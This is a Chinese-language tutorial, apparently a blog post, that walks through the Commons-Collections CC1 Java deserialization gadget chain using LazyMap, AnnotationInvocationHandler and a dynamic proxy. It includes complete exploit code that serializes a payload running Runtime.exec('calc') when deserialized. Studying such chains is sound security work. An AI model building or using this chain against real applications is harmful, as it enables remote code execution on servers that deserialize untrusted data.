前言
在上文中提到了Commons-Collections的TransformMap 链,其实CC1是有两条链子的,今天来补充LazyMap链,这条链也是被称为正版链,因为 用的就是这条链
正版CC1分析
尾部exec的方法
上一篇文章写的一样,还是在InvokeTransformer类里的
通过反射构造任意类,具体不在赘述,右键-》查找用法
可以看到LazyMap的get方法出现了transform,get方法的作用域为pubulic
寻找链子
Ctrl+右键点击factory,跟过去看看这是什么东西,
然后看到了decorate方法,这个方法,和上篇文章那个差不多,就是往里传一个Map,它返回一个LazyMap尝试用它弹个计算器
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| public static void main(String[] args) throws Exception { Runtime runtime = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}); HashMap<Object,Object> hashMap = new HashMap<>(); Map decoratedMap = LazyMap.decorate(hashMap, invokerTransformer); Class<LazyMap> lazyMapClass = LazyMap.class; Method lazyMapGetMethod = lazyMapClass.getMethod("get", Object.class); lazyMapGetMethod.setAccessible(true); lazyMapGetMethod.invoke(decoratedMap,runtime);
}
|
寻找readObject
说明这里是可行的,接下来我们去寻找入口类
看了看哪些类调用LazyMap.get(),我也不知道4400多个调用大佬们是怎么找到的,反正就是跟到了AnnotationInvocationHandler.invoke()
方法中找到了有一个地方调用了 get()
方法,这个类我们在上一篇文章中也是有用到的,
位于sun.reflect.annotation.AnnotationInvocationHandler
同时这个类里有readObject()方法,可以作为入口类,且memberValues参数是写在构造函数里的,是我们可以控制的,现在的问题就是要怎么触发invoke方法
编写EXP
要触发invoke方法,就会想到用动态代理,一个类被动态代理了之后,想要通过代理调用这个类的方法,就一定会调用 invoke()
方法
这里调了entrySet()
方法,也就是说,如果我们将 memberValues
的值改为代理对象,当调用代理对象的方法,那么就会跳到执行 invoke()
方法,最终完成整条链子的调用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
| package com.study; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap;
import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Method; import java.lang.reflect.Proxy; import java.util.HashMap; import java.util.Map;
public class CC1Test { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, new Object[0]}), new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>(); Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class); declaredConstructor.setAccessible(true); InvocationHandler invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Override.class, decorateMap);
Map proxyMap = (Map) Proxy.newProxyInstance(declaredConstructor.getClass().getClassLoader(), new Class[]{Map.class}, invocationHandler); invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Override.class, proxyMap);
serialize(invocationHandler); unserialize("ser.bin");
}
public static void serialize(Object obj) throws Exception { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); }
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
|